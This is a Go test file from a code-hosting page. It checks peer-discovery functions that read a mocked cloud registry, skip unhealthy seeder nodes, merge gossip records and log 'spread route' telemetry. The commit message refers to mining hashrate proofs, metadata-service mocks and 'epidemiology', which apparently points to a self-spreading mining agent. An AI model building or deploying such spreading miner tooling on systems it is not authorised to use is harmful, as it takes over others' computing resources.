483eafa9dd
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.
73 lines
2.3 KiB
Go
73 lines
2.3 KiB
Go
package deploy
|
|
|
|
import (
|
|
"os"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestFetchCloudMapRegistry(t *testing.T) {
|
|
SetCloudMapHTTPGetForTest(func(url string) ([]byte, error) {
|
|
return []byte(`{"namespace":"prod.local","service":"seeder","instances":[{"agent_id":"seed-a","dns_name":"seeder.svc.prod.local","healthy":true,"fetch_url":"http://10.0.1.50/manifest"}]}`), nil
|
|
})
|
|
defer SetCloudMapHTTPGetForTest(nil)
|
|
doc, err := FetchCloudMapRegistry("http://registry.local/v1/seeder")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
records := CloudMapKnowNodeRecords(doc)
|
|
if len(records) != 1 || records[0].TargetAgentID != "seed-a" {
|
|
t.Fatalf("records=%+v", records)
|
|
}
|
|
}
|
|
|
|
func TestAppendSpreadRouteTelemetryIncludesRouteVia(t *testing.T) {
|
|
got := appendSpreadRouteTelemetry("joined", &SpreadRouteHint{EgressAgentID: "egress-1", RouteVia: "seeder.svc.prod.local"})
|
|
if got == "" || !strings.Contains(got, "route_via=seeder.svc.prod.local") {
|
|
t.Fatalf("got=%q", got)
|
|
}
|
|
}
|
|
|
|
func TestCloudMapEndpointFromEnv(t *testing.T) {
|
|
t.Setenv(cloudMapEnvEndpoint, "http://127.0.0.1:8080/registry.json")
|
|
if got := CloudMapEndpoint(); got != "http://127.0.0.1:8080/registry.json" {
|
|
t.Fatalf("got=%q", got)
|
|
}
|
|
}
|
|
|
|
func TestCloudMapEndpointUnset(t *testing.T) {
|
|
_ = os.Unsetenv(cloudMapEnvEndpoint)
|
|
if got := CloudMapEndpoint(); got != "" {
|
|
t.Fatalf("got=%q", got)
|
|
}
|
|
}
|
|
|
|
func TestCloudMapLANSeederHintsSkipsUnhealthy(t *testing.T) {
|
|
doc := CloudMapRegistryDocument{
|
|
Instances: []CloudMapRegistryInstance{
|
|
{AgentID: "good", IP: "10.0.1.5", FetchURL: "http://10.0.1.5/manifest", Healthy: true},
|
|
{AgentID: "bad", IP: "10.0.1.6", FetchURL: "http://10.0.1.6/manifest", Healthy: false},
|
|
},
|
|
}
|
|
hints := CloudMapLANSeederHints(doc)
|
|
if len(hints) != 1 || hints[0].AgentID != "good" {
|
|
t.Fatalf("hints=%+v", hints)
|
|
}
|
|
}
|
|
|
|
func TestSyncCloudMapRegistryMergesGossip(t *testing.T) {
|
|
SetCloudMapHTTPGetForTest(func(url string) ([]byte, error) {
|
|
return []byte(`{"instances":[{"agent_id":"seed-x","healthy":true,"fetch_url":"http://10.0.2.1/manifest","ip":"10.0.2.1"}]}`), nil
|
|
})
|
|
defer SetCloudMapHTTPGetForTest(nil)
|
|
var merged []FleetGossipRecord
|
|
if err := SyncCloudMapRegistry("http://registry.local/v1", func(recs []FleetGossipRecord) {
|
|
merged = append(merged, recs...)
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(merged) != 1 || merged[0].TargetAgentID != "seed-x" {
|
|
t.Fatalf("merged=%+v", merged)
|
|
}
|
|
}
|